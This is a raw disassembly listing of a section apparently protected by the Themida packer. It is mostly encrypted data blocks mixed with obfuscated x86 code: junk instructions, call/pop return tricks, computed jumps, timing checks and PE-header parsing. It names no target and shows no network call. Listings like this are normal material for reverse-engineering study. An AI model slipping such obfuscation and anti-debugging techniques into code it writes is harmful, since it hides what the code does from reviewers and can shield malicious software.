dd 802803B6h, 0B02CDB46h, 218EA9BCh, 0B02CDDD9h, 9112F9BCh
dd 940E4CFh, 0C0CBEA4h, 0F6BCB02Dh, 6034645Dh, 1F878474h
dd 5F3331BBh, 0DCFBC523h, 0A819F2B7h, 0AD6FC980h, 93h
dd 662B4CB7h, 6348E039h, 5CF02101h, 52B9C3E7h, 30B5FFEDh
dd 3967A107h, 728506FFh, 3B4D79C2h, 8BAF0E90h, 0D354D972h
dd 862CDA61h, 0AF0E4444h, 0F1153E8Bh, 0AF0E5357h, 9206318Bh
dd 77673E48h, 0F25D925Ah, 148EBD4h, 327B1A85h, 0B2440496h
dd 0D6AF0C16h, 54Dh, 76B4FD9Ch, 0A1E5A0CDh, 97135AFEh
dd 0C743062Ch, 30763B5Ch, 6B0C06ABh, 1F3FE026h, 0C96BD452h
dd 0FA993A80h, 75F777B3h, 804D7D3h, 0C06FADB6h, 0E8DFh
dd 0B7D83B00h, 0BA75BEFAh, 27713459h, 5377CC60h, 7F8EA29h
dd 14B2D8B6h, 7F8B6F2h, 1BA38CB6h, 0B607F91Fh, 0ADE484h
dd 627CD717h, 64C00A92h, 0EC1AF35Ch, 0AAEE1846h, 98B60890h
dd 911317BFh, 46F1B608h, 84A708D2h, 99B619CDh, 8C4657DCh
dd 0F2EE1670h, 0AD178120h, 0FC2A6302h, 0E976697Ah, 128676F7h
dd 1E44E8B1h, 8190DDE2h, 832710DEh, 8D8D3F65h, 77B6080Fh
dd 86CB6BDCh, 3E39D412h, 200BBCB0h, 219A3A83h, 30751A85h
dd 0F47EBAF3h, 5DF40C4Eh, 0D9D23A62h, 1B9F9B2Dh, 0CA65BCB0h
dd 24A5986Eh, 3C9FC358h, 0DBCC5118h, 96AEC6E2h, 0C1E2E5B4h
dd 46040h, 0C188AF00h, 0F0B5DA45h, 266F09AAh, 56133FE0h
dd 83CE6FD0h, 19F9B807h, 4EF13578h, 7A25612Ch, 0AC1793DAh
dd 0E27AC089h, 5CACE78h, 72B8B608h, 0D762A6D5h, 1C18AF57h
dd 0C2AF57D7h, 730C52A4h, 68C4C94Ah, 58296AAEh, 0E7FF58AFh
dd 0AEACDFAEh, 5CEB4D90h, 79A743F8h, 41582AFFh, 0D7C06D20h
dd 110B821Fh, 4524187h, 0C214B608h, 5FF379DCh, 27FDC01Ah
dd 440D2B9Ch, 0A46ACEDFh, 9238268Bh, 8C53068h, 0A13912B6h
dd 0C665A0F5h, 5CC35515h, 36487039h, 56F304E3h, 3C3EC55h
dd 77120000h, 2A47E83Eh, 0D078DB6Fh, 8CA20D99h, 0B1D27DC9h
dd 9021AEFCh, 1EACE182h, 42D895B5h, 0BC0A43E1h, 0ED397013h
dd 6159E379h, 23B60806h, 5CFF3EE5h, 0AD0F8815h, 2C4AF016h
dd 57D79E9Ah, 6DCB64AFh, 8189Bh, 0C541EAB6h, 6B121A03h
dd 0A5E88912h, 589DBE61h, 19867F3Ah, 690C3F90h, 59933720h
dd 5AFFB17Fh, 0D5BFF945h, 0D85CFFEEh, 57D76AAEh, 6FF58AFh
dd 2C650899h, 0F98F2D9Eh, 57D74B4Fh, 0AD1E39AFh, 33D7C08Dh
dd 0FFF66689h, 0AEF35CB5h, 0FFF668ACh, 6AF04B5h, 77CD18F4h
dd 29FF14h, 0E7400000h, 0AED80EB5h, 0B600054Fh, 2E80C711h
dd 785DD9FEh, 0F8250E30h, 90367Eh, 38F952B6h, 776F4E3Ah
dd 103A914h, 0BA720000h, 22763F59h, 7D1FDE7Dh, 0D74B4FF9h
dd 1E39AF57h, 0B6AFF825h, 1797B869h, 57D6B5F5h, 0DF698FAFh
dd 0AF57D6DBh, 0BC958EA9h, 0C68FAE77h, 0D228D59h, 1C3FE048h
dd 0C82BD155h, 9B47ECA5h, 57D72961h, 47301BAFh, 0DBEE17D1h
dd 96B5AF57h, 5EF33657h, 0AC85961Bh, 96B51607h, 605952DFh
dd 1BDA79DAh, 0DB583178h, 0AD59E252h, 0FFEBF01Bh, 57F1D2B5h
dd 1E81251Eh, 12F8307Dh, 0FC3C4EF4h, 0C6B5FFEBh, 0A00D48E5h
dd 29449E77h, 50F22985h, 3C901781h, 0F926630Fh, 0E913B7A0h
dd 0BCAB3DC0h, 927DA982h, 0C56EBCF1h, 893FE9A4h, 17EC617Eh
dd 2432B94h, 0F7920000h, 0AAC768BEh, 50F85BEFh, 0C228D19h
dd 3152FD49h, 10A12E7Ch, 9E2C6102h, 0C2581535h, 3C8AC361h
dd 6DB9F093h, 0E1D963F9h, 0A3B60807h, 5EFFBE65h, 6C0CF713h
dd 9AFF825h, 8D3F6583h, 0AF57D78Dh, 0D35CDC77h, 0E2CDF9B0h
dd 23A90F46h, 0EB5E704h, 54FAED8h, 1A35B600h, 0A72F6AECh
dd 6A60CB2Fh, 77815DCEh, 2D315E41h, 9A6CCCEEh, 0B5FFFF9Ah
dd 88D45D36h, 0E24F0A27h, 0DFCB6FC9h, 3E1477FEh, 103h
dd 0F0B9DFC0h, 69097AB3h, 0AAEFF24h, 155CFF21h, 0DA761788h
dd 9ADABF9Ch, 9A4039F3h, 0F9CECA7Ch, 9BB4AF57h, 4CB30E43h
dd 0FB3DE49Eh, 0DA5CE08h, 5FFEAF58h, 0C2F9016h, 0A102D845h
dd 0DD6ACE87h, 8F50257Fh, 28AA2A0Eh, 738B78ECh, 312AD28Bh
dd 21CA4395h, 0FEC5A488h, 58284C4Ch, 241D36AFh, 9AC06EF4h
dd 27CECA7Ch, 9BB4AF58h, 58283773h, 0F6220DAFh, 380970h
dd 0CA50FBB6h, 13B5C371h, 0B6003817h, 0BD6942EDh, 0AAD6BF0Bh
dd 156785BCh, 2370E802h, 1008B25Ah, 0F2BCAB93h, 59BA6059h
dd 8E317538h, 0C24941EDh, 0A2CA8B09h, 3364C98Ch, 0CD49805Ah
dd 4163B209h, 3202B068h, 1192EC61h, 0F8B0h, 69204700h
dd 98DD72DDh
dd 0CE87A102h, 0FEBBD778h, 2B6607A8h, 0B161109Fh, 0E649DD90h
dd 12BD0944h, 44EF3B72h, 4AD26821h, 9327690h, 0CA10B608h
dd 9B5EFF6Dh, 316AB7FAh, 0C261C258h, 0FF103F8Bh, 1788155Ch
dd 0F635DC74h, 3C5E9D25h, 0D044C743h, 0C711BF6Bh, 85A401Ch
dd 2B6F9765h, 19AF5888h, 0D670FA3Eh, 0B608A9C7h, 940D92BDh
dd 410830F1h, 34D2CBDCh, 0C105ADCBh, 0C058B1E3h, 88A10EE7h
dd 0FD3B7617h, 0C089AC17h, 0D598B91Ah, 997AE043h, 0E167B1F4h
dd 0D0A7D72Eh, 0CF79A747h, 0D0A7D6CBh, 0C3449EB9h, 0EF56B30Bh
dd 57D8B3E5h, 26642D50h, 7397DE7Dh, 2BA3EE90h, 0B8C9F589h
dd 72D147CAh, 5BD89DB1h, 43E0A5CAh, 0A60B42E2h, 2AA90AA3h
dd 5E65CEE7h, 8F30763Fh, 0CA0B2DECh, 0A409E2ABh, 61F27B73h
dd 0FC0F5D60h, 0A259E03h, 0
dd 713459BAh, 0BDBDFB2Ch, 1158FFC6h, 3970138Ch, 40092BF4h
dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh
dd 0D792BF60h, 2368FA4Ah, 89000007h, 89562414h, 4C681E6h
dd 83000000h, 348704EEh, 34895C24h, 7C106824h, 0C890000h
dd 77916824h, 2C890000h, 229CBD24h, 0EE8906B0h, 3C62685Dh
dd 24890000h, 24048124h, 4, 0B9515659h, 0B3F578Fh, 4244C29h
dd 8418F59h, 8F084181h, 0FF0B3F57h, 81592434h, 4C4h, 2434FF00h
dd 4C4815Eh, 0E9000000h, 0FFF8497Ah, 4F72BB40h, 428A4FA6h
dd 0E3DA6F7Bh
; ---------------------------------------------------------------------------
pop esp
js short loc_5CCEAF ; CODE XREF: Themida_:005CCED7j
loc_5CCE63: ; CODE XREF: Themida_:005CBC2Cj
mov eax, 6B033D5h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 2E3A8285h, 6C432F87h, 5FE0B3DDh, 44A114A4h, 396D2386h
dd 75ABC1CAh, 2B3ADFAh, 53DAA344h, 15E40B8Eh, 7089ECCFh
dd 4297D690h, 77809E0h, 79AE4198h, 79EFDEDFh, 3D255224h
dd 304DECC9h
db 0Bh, 0FFh
db 0BDh
; ---------------------------------------------------------------------------
loc_5CCEAF: ; CODE XREF: Themida_:005CCE61j
sbb [ecx+2Bh], dl
mov cl, 2
adc bl, [esi-321DE8A4h]
out 14h, al
xor eax, 9006C8AAh
sub [ebp+ebx*2+56h], dh
mov edi, 621977A7h
scasd
xor al, 59h
mov ebp, 8D8D080Ch
sub eax, 0B406B035h
jg short near ptr loc_5CCE61+1
lea edi, [ecx+6606A805h]
mov edi, 85C72505h
imul edx, [eax+ebp*4], 652C06h
add [edx+0], ch
push esi
call sub_5CCEF7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CCEF7 proc near ; CODE XREF: Themida_:005CCEEFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5CCEF7 endp
; ---------------------------------------------------------------------------
db 13h
dd 0DD7DCDF4h, 0E7816612h, 85C7090Ch, 6A80BBDh, 0
; ---------------------------------------------------------------------------
mov al, 0BCh
push dword ptr [ebp+6A80E01h]
movzx eax, dx
call dword ptr [ebp+6A820DDh]
mov esi, [ebp+6A82F81h]
push 0
call dword ptr [ebp+6A81B31h]
mov eax, eax
jmp short loc_5CCF88
; ---------------------------------------------------------------------------
db 92h
dd 90A1689Dh, 0E411EC62h, 608091Dh, 3C978420h, 0F2D0E058h
dd 47A8F2B5h, 0A0C26B21h, 73A1DDB2h, 9CE67581h, 0F211F234h
dd 0C835AA8Ch, 0F9F8FD2Ch, 10097572h, 0C5C671EBh, 84539A84h
dd 73620118h, 0EE4AF898h, 0A239D258h
; ---------------------------------------------------------------------------
loc_5CCF88: ; CODE XREF: Themida_:005CCF3Dj
lea ecx, [ebp+6B0361Ah]
mov ah, 17h
mov [ebp+6A805B9h], ecx
jnz loc_5CCFA2
mov [ebp+6A833E5h], edx
loc_5CCFA2: ; CODE XREF: Themida_:005CCF96j
mov dword ptr [ebp+6A81469h], 5D9Ch
push 0
push edi
call sub_5CCFB7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CCFB7 proc near ; CODE XREF: Themida_:005CCFAFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5CCFB7 endp
; ---------------------------------------------------------------------------
aaa
jnb loc_5CCFD4
and eax, [ebp+6A801A5h]
loc_5CCFD4: ; CODE XREF: Themida_:005CCFC8j
mov dword ptr [ebp+6A80BBDh], 0
or ah, 99h
jmp loc_5CCFEB
; ---------------------------------------------------------------------------
dw 0B477h
db 7Eh, 16h, 0C0h
; ---------------------------------------------------------------------------
loc_5CCFEB: ; CODE XREF: Themida_:005CCFE1j
push dword ptr [ebp+6A81561h]
adc eax, 50385984h
call dword ptr [ebp+6A820DDh]
push 0
push eax
call sub_5CD008
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD008 proc near ; CODE XREF: Themida_:005CD000p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5CD008 endp
; ---------------------------------------------------------------------------
dd 8D01BBEFh, 6A801ADh, 95FF006Ah, 6A81B31h, 0BEBC08Bh
dd 51FDC756h, 749A87ACh, 0E9935FFBh, 1Ch, 287C79ECh, 6 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5CD568
; ---------------------------------------------------------------------------
db 0AFh, 88h, 0C1h
dd 0F0B5DA45h, 266F09AAh, 56133FE0h, 83CE6FD0h, 19F9B807h
dd 4EF13578h, 7A25612Ch, 0AC1793DAh, 0E27AC089h, 0CCACE78h
dd 72B8B608h, 155CFFD5h, 3B761788h, 0FD9E01EFh, 0C93A73B0h
dd 6EBFE4A9h, 8FC665CAh, 0ABE28122h, 0B5F09D06h, 7E618568h
dd 0AC0791DCh, 1059FC03h, 420B298Ah, 70395BC4h, 15D07233h
dd 0AFC93A73h, 7760B9E6h, 7D8F3553h, 0AF57D73Dh, 0A6E22C07h
dd 9CAF57D7h, 6750193Bh, 268F5231h, 0AFD0337Dh, 43E4BDE2h
dd 9F88A10Eh, 5EF69619h, 9E179467h, 0C6443DF3h, 53773E5Dh
dd 1C81C870h, 3C3EAD0Bh, 0AF57F9F9h, 81CB5443h, 0BE7CC077h
dd 0CD6B11CCh, 0DFD37D69h, 6B9812h, 0FFA30000h, 0EF1155Ch
dd 0AA83206Dh, 5E419D0Eh, 0F029763Fh, 0D768AEB8h, 1A3BAF57h
dd 3559CA57h, 0C8673370h, 71386067h, 4802FB2Ch, 0C4B0C263h
dd 2312DFD6h, 1, 9F52FF04h, 294FB0F9h, 3C2A7760h, 0D7347496h
dd 250EAF57h, 42072CF3h, 6B2E44DDh, 7A3F54BFh, 0D7B4E435h
dd 1F268F7Ch, 0D59CBF72h, 20665F48h, 1195DC7Fh, 9B5EFF2Ah
dd 3D6EB3F6h, 2946DF44h, 0EB40C76Ch, 6F22434Ah, 9CD578DBh
dd 0A3EA8E17h, 6BAFD907h, 59AF57D7h, 0D7918933h, 0D873AF57h
dd 76DA49EFh, 6748149Dh, 0F6278CC5h, 0D4EAF6A2h, 78ED12DFh
dd 36000000h, 8E135EFFh, 96B27315h, 605952DFh, 0AEEA1CBAh
dd 94AF57D6h, 278E7DBBh, 45E6EDB6h, 7011B208h, 0EB906BDCh
dd 8797ADAh, 0F3302960h, 0D4591C32h, 6605EE74h, 9112892Fh
dd 0DF486581h, 6D6012h, 0BABB0000h, 0D6AEEA1Ch, 0BB94AF57h
dd 0DC91B27Dh, 92ADAC2Eh, 2C318DADh, 0E6861F8Ch, 8DA102AFh
dd 95BA6BC8h, 278C53D0h, 0A61FF7Eh, 0CC81A2A9h, 0DA93B51Eh
dd 0FFCFF45Eh, 0D23BF652h, 0D53DBE3Bh, 0E604FDB8h, 58B064A4h
dd 1CF55EAFh, 0B0505797h, 4CBAAF58h, 0D590BD26h, 73B75F48h
dd 51AF58B0h, 58D9B2E6h, 0DF0F6E5Ah, 18912h, 0FF920000h
dd 12931059h, 72F53A73h, 0B7D1D859h, 119ED776h, 209B2F18h
dd 3093378Ch, 0C0D94603h, 0E1788268h, 0A3B5FFE3h, 92345288h
dd 0B5FFE496h, 662B4B6Ch, 0A1F7E039h, 8BC261C2h, 0B8F1943Fh
dd 0E3B5F37Bh, 0DB01B5FFh, 991F5AF8h, 0DB7A8122h, 0BCCE7492h
dd 0B5FFE47Ch, 0C14BED46h, 50FE3F5Eh, 6BF73C15h, 0DABE688h
dd 65CA83A2h, 8E369ABCh, 692CCCE7h, 0D44DD2CBh, 0FFBBF8B1h
dd 0F150DF40h, 0B1D4DB44h, 1E0AA2F8h, 0F914777Bh, 12Fh
dd 0DFDF4983h, 38AF219Fh, 36625B16h, 0EB5E7EDh, 723AED8h
dd 36E1B600h, 5C1538E9h, 9EBF20CEh, 0BBDA45D3h, 4AEBD4F2h
dd 17819A07h, 148EBB4h, 0EFB01D9Ch, 0BE0C45E8h, 77E6221Eh
dd 3547ED14h, 0EA18785Ah, 49418908h, 3BB5FFE4h, 587A9810h
dd 0CD000000h, 0DF0BB6E7h, 57D74DADh, 971C372Fh, 0A1C22D4Bh
dd 0D6E622ECh, 0FBDC2F57h, 9A931059h, 0B9F177A1h, 0FF2F57D6h
dd 5B9DDF40h, 441F511h, 8205937Bh, 8F709611h, 430A2EE3h
dd 4FD4CDDEh, 0F610DA5Eh, 0AF587192h, 0A543C770h, 70CDCD7Fh
dd 9CB7AF58h, 85B31Ch, 0E7960000h, 81B9C3B5h, 43AF57D7h
dd 111A1EE8h, 0D11E4258h, 0E5B8C2F8h, 0DFB60102h, 0B1E913B9h
dd 93B60102h, 31A1EB8h, 4FE8B601h, 0B21DC956h, 0D25DDB92h
dd 3ACFAB3h, 42842960h, 0B6010441h, 337D268Dh, 4377395h
dd 9F29B601h, 0B601049Bh, 133CCE69h, 327B1A85h, 5AE153F4h
dd 3A491AACh, 0DD1FBCB1h, 12D0E1A2h, 0C977A1D6h, 3D60C16Eh
dd 83282F74h, 0A2910322h, 4962CF86h, 4310AA50h, 1C3614Dh
dd 0E7AB9016h, 0AED80EB5h, 0B6080D95h, 0D773014Bh, 0E1FC52E3h
dd 441A16E9h, 96025873h, 0C162CF68h, 8BCE63A2h, 8E1CF526h
dd 0A6C70625h, 7C5546EBh, 0D73F3737h, 9456E4D4h, 640CF642h
dd 0B6E2F453h, 2E4D54DDh, 0E3254367h, 0E4D4F9A7h, 3151B29Dh
dd 0B2E6377Ch, 5C467C8h, 0E9362F66h, 0D25F1A38h, 6A85D70Fh
dd 0F853E8B4h, 54DDB6E2h, 23672E4Dh, 7C1CDD80h, 0BD75C35h
dd 6CCC85A8h, 3E3h, 0CBB0C600h, 8C1158FFh, 0F4397013h
dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh
dd 60CD84A4h, 4AD792BFh, 45368FAh, 0C890000h, 0E7895724h
dd 4C781h, 0EF830000h, 243C8704h, 241C895Ch, 81E38953h
dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 6856240Ch, 64D72BC0h
dd 0C6814E5Eh, 69CB0A5Dh, 0FFCCBD55h, 0EE29C7F1h, 5EF3895Dh
dd 240C8B54h, 5604C483h, 8952DE89h, 85189F2h, 0C8B5E5Ah
dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 2434FF5Ch
dd 4C4815Bh, 0E9000000h, 0FFF8426Eh, 21CB5B5Ah, 62E9DEC7h
; ---------------------------------------------------------------------------
loc_5CD568: ; CODE XREF: Themida_:005CD058j
mov eax, 6B03AD4h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0E8h, 0BAh, 0D5h
dd 0A27D66Dh, 94CB3010h, 9363AA71h, 0D9867119h, 7B9B770Bh
dd 3591AF08h, 74D83E66h, 6B48775h, 3224C04h, 719B0601h
dd 0CEF77C2Bh, 59AD8056h, 8B48F107h, 7CD3BF5Bh, 84455372h
dd 78491B13h, 0ACAF050Ah, 0F9654D18h, 0DDD3D34Ah, 8564B661h
dd 9960D57h, 10EB18h, 3 dup(0)
dd 8B000000h, 6860FC0h, 81000000h, 5F38CCE6h, 0D9BD830Ah
dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
dd 42Dh, 7B58589h, 9D8D06A8h, 6AAA1ACh, 585BD3FFh, 2DE9BD83h
dd 740006A8h, 0B8535017h, 42Dh, 7B58589h, 9D8D06A8h, 6AA9E9Bh
dd 585BD3FFh, 8166CEB6h, 8BDF83F6h, 52006AC0h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 1AB67F7h, 43D38833h
dd 6E960E5h, 0B5000000h, 502E388Fh, 0EF8166E1h, 29612BF9h
dd 0A8307185h, 58D8B06h, 6606A828h, 0E9A59FBAh, 12h, 25083EF6h
dd 513DA8E8h, 50CB1C6Ch, 94561504h, 0F9839A9Bh, 0B1840F00h
dd 8B000000h, 0A8167595h, 0F08B6606h, 2C3D8B64h, 66000000h
dd 7891DA81h, 840FFF0Bh, 94h, 6A3F8Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 7F0EB2C3h
dd 0DAD63271h, 89360034h, 0A833B595h, 6AC03206h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 9F8EC353h, 0F2C7D525h, 10E992h, 0F3870000h, 0C54E937Dh
dd 4D4C64DCh, 8B586D34h, 0AAF3D627h, 5E860h, 95800000h
dd 0E98F5D0Bh, 14h, 0AE296CECh, 496487E6h, 380C927Ah, 3FCECC05h
dd 710DF218h, 850F58h, 61000000h, 50414935h, 81665353h
dd 5A8733D2h, 15D585C6h, 6A4706A8h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C737C352h
dd 0F231C84h, 689h, 55958900h, 6806A832h, 0DB3A559Eh, 81D68B66h
dd 0DDB22434h, 0B52907ECh, 6A83335h, 1C09958Bh, 0B5FF06A8h
dd 6A80F95h, 1E9B58Bh, 858D06A8h, 6AB6971h, 0FFF28B66h
dd 0DB589D0h, 8906A828h, 0A8174985h, 0A5BA6606h, 21B58B6Dh
dd 0C606A831h, 0A815D585h, 0B58B5306h, 6A80D39h, 4E68F48Ah
dd 0BEC92651h, 63505B58h, 0B2243481h, 6641BE3Bh, 5E9D78Bh
dd 0FB000000h, 0FC21FE3Bh, 0F95B5FFh, 0BD8906A8h, 6A82565h
dd 2FFD958Bh, 858D06A8h, 6AB6971h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 36C35141h, 8DFCD0FFh, 0AB2EF385h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0CE8002C2h, 0F6B70F84h, 898589F8h, 6A06A80Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 0D31FC353h, 0B2BE7388h, 30ADB58Bh, 206A06A8h
dd 95FFFF6Ah, 6A80F89h, 50414935h, 0E585C753h, 106A81Fh
dd 0C7000000h, 0A820D585h, 6, 0D0BF0F00h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ch, 0BC35141h, 6346E4A4h
dd 0E53D147Ah, 0FE9h, 0B7F10800h, 0C16F4817h, 0C8219241h
dd 42EC0518h, 858B1EB2h, 6A81EADh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0BEC35141h, 0C4A77263h, 820F2F17h
dd 6, 3015958Bh, 0A36406A8h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5CD93B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD93B proc near ; CODE XREF: Themida_:005CD933p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5CD93B endp
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
inc edi
sub edx, [ebx]
mov cs:[ebp+6A813F5h], edi
jmp loc_5CD96F
; ---------------------------------------------------------------------------
db 0A1h
dd 9003B74Dh, 9262C634h, 0BC0F90C4h, 0F18ADC43h
; ---------------------------------------------------------------------------
add [ecx], edi
aaa
loc_5CD96F: ; CODE XREF: Themida_:005CD956j
cmp dword ptr [ebp+6A80061h], 0
jz loc_5CD998
pusha
stc
mov esi, [ebp+6A80C89h]
popa
mov eax, [ebp+6A82589h]
mov esi, 70F82B8Eh
mov esp, eax
add [ebp+6A814F5h], ecx
loc_5CD998: ; CODE XREF: Themida_:005CD976j
cmp dword ptr [ebp+6A8276Dh], 0
jnz loc_5CDD41
call loc_5CD9BB
and edx, edx
sub [ebp+7Bh], dl
call near ptr 4F079162h
; ---------------------------------------------------------------------------
dd 0A002DEFEh
db 0F2h, 0E5h, 44h
; ---------------------------------------------------------------------------
loc_5CD9BB: ; CODE XREF: Themida_:005CD9A5p
mov edx, [ebp+6A82545h]
pop esi
mov byte ptr [ebp+6A815D5h], 56h
push 590AA798h
mov edx, 75612BD7h
add dword ptr [esp], 50BA8947h
movzx esi, bx
push dword ptr [ebp+6A80F95h]
stc
lea eax, [ebp+6AB6971h]
call eax
movsx esi, bx
nop
mov dx, 7DADh
push eax
mov esi, edi
nop
mov si, di
lea ecx, [ebp+6A82CD9h]
xchg eax, ecx
push edx
push eax
push edx
mov dx, cx
rdtsc
pop edx
pop eax
pop esi
push eax
pusha
jmp loc_5CDA22
; ---------------------------------------------------------------------------
dd 228B9500h, 14FF747Eh, 19A314A0h
db 0ECh, 0F6h
; ---------------------------------------------------------------------------
loc_5CDA22: ; CODE XREF: Themida_:005CDA0Fj
mov dh, 0CDh
popa
xchg eax, ecx
mov edx, [ebp+6A8152Dh]
push 4
mov edx, [ebp+6A80511h]
call sub_5CDA3D
add [eax], dl
; ---------------------------------------------------------------------------
db 0
db 0
; =============== S U B R O U T I N E =======================================
sub_5CDA3D proc near ; CODE XREF: Themida_:005CDA34p
push eax
mov dx, bx
mov eax, [esp+4]
mov dl, bh
mov eax, [eax]
jmp loc_5CDA57
; ---------------------------------------------------------------------------
dw 0E4A0h
dd 8D40D9B2h
db 0F8h, 0E9h, 0B4h
; ---------------------------------------------------------------------------
loc_5CDA57: ; CODE XREF: sub_5CDA3D+Cj
mov [esp+4], eax
jmp loc_5CDA71
; ---------------------------------------------------------------------------
dd 0B97C9533h, 861363D5h, 7EEA76FFh, 4029768Ch
db 0BDh
; ---------------------------------------------------------------------------
loc_5CDA71: ; CODE XREF: sub_5CDA3D+1Ej
pop eax
pusha
or [ebp+6A83345h], esi
popa
push dword ptr [ebp+6A831D5h]
movzx esi, ax
call eax
jmp loc_5CDA9A
; ---------------------------------------------------------------------------
dw 0B0AEh
dd 0A276A784h, 0B22AA04Ah, 0D51D58EFh
db 0AFh, 0ECh
; ---------------------------------------------------------------------------
loc_5CDA9A: ; CODE XREF: sub_5CDA3D+48j
mov edi, [ebp+6A831D5h]
jz loc_5CDAA9
movsx edx, si
loc_5CDAA9: ; CODE XREF: sub_5CDA3D+63j
add edi, [edi+3Ch]
push 0
push edi
call sub_5CDAB7
and [edi-3Dh], bl
sub_5CDA3D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CDAB7 proc near ; CODE XREF: sub_5CDA3D+72p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5CDAB7 endp
; ---------------------------------------------------------------------------
db 0D7h
dd 279A807Fh, 11B52960h, 5106A831h, 1E0D958Bh, 615F06A8h
dd 8342D281h, 0C78164E2h, 0F8h, 34DA8166h, 2447C7D9h, 60000020h
dd 83D6B70Fh, 0B03BBEBDh, 840F0006h, 164h, 28C783F5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 90C35141h, 0D2635E5Fh
dd 7C70C02h, 64696A2Eh, 0FE8h, 14B1AE00h, 567C7C82h, 0DD41726Dh
dd 0B481500Eh, 3C1BDA81h, 0C75A0967h, 74610447h, 0CE90061h
dd 0D2000000h, 733E83BEh, 9B134694h, 8B772B0Bh, 0B03BC685h
dd 0B70F6006h, 6800FF6h, 89000000h, 0A80CA18Dh, 0B58B6106h
dd 6A82AE9h, 890C4789h, 0A81D6985h, 0CA858B06h, 8B06B03Bh
dd 0A8335D95h, 89D38B06h, 6A0847h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0C783A5C3h, 12E928h
dd 0C9E30000h, 0BFEC30C8h, 25398A4h, 61C74A43h, 0D9ECEACCh
dd 632E07C7h, 6A6E6Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 73A089C3h, 0D68B99D6h, 8BFB5941h
dd 0C1B503D7h, 0C706A819h, 69660447h, 0BD890067h, 6A80515h
dd 3BC2858Bh, 606006B0h, 2C798D89h, 9E906A8h, 8000000h
dd 0EF5A60ABh, 0D70CDFB0h, 61C18A61h, 8B0C4789h, 0A826A5B5h
dd 0CE906h, 0BF9B0000h, 56ED9B5Dh, 0A56AC49Ch, 858B1F24h
dd 6B03BBEh, 27192EBEh, 8478975h, 2840Fh, 0D08B0000h, 0F59D3157h
dd 5E06A81Fh, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 0BC7C42E5h, 8DB58B3Eh, 8D06A80Fh
dd 0A800758Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 28520F86h, 50508CD5h
dd 0C88A6052h, 0F615A53h, 12E931h, 0C67F0000h, 8279D4Bh
dd 0DB339AE4h, 5D5E71F3h, 9A85AF64h, 0C89585Ah, 0FFF18B24h
dd 0A82CD9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 635387EBh, 8BE418F1h
dd 0CAF281F3h, 680CF0E1h, 3574A0C6h, 28F0F60h, 8B000000h
dd 5F5153C3h, 34816158h, 74B0C624h, 21BD0135h, 6606A81Ch
dd 0B5FFD68Bh, 6A831D5h, 39D9B9BAh, 8BD0FF58h
db 0F0h
; ---------------------------------------------------------------------------
loc_5CDD41: ; CODE XREF: Themida_:005CD99Fj
mov eax, 0
push 0
push edi
call sub_5CDD51
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDD51 proc near ; CODE XREF: Themida_:005CDD49p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5CDD51 endp
; ---------------------------------------------------------------------------
db 0EEh, 0C1h, 56h
; ---------------------------------------------------------------------------
mov [ebp+6A82AC5h], edx
pop esi
or eax, eax
jz loc_5CDDB5
mov edx, [ebp+6A80A95h]
mov edx, [ebp+6A831D1h]
push dword ptr [ebp+6A80D6Dh]
mov esi, 35E0925Fh
call dword ptr [ebp+6A820DDh]
push 0
push edx
call sub_5CDD9B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDD9B proc near ; CODE XREF: Themida_:005CDD93p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5CDD9B endp
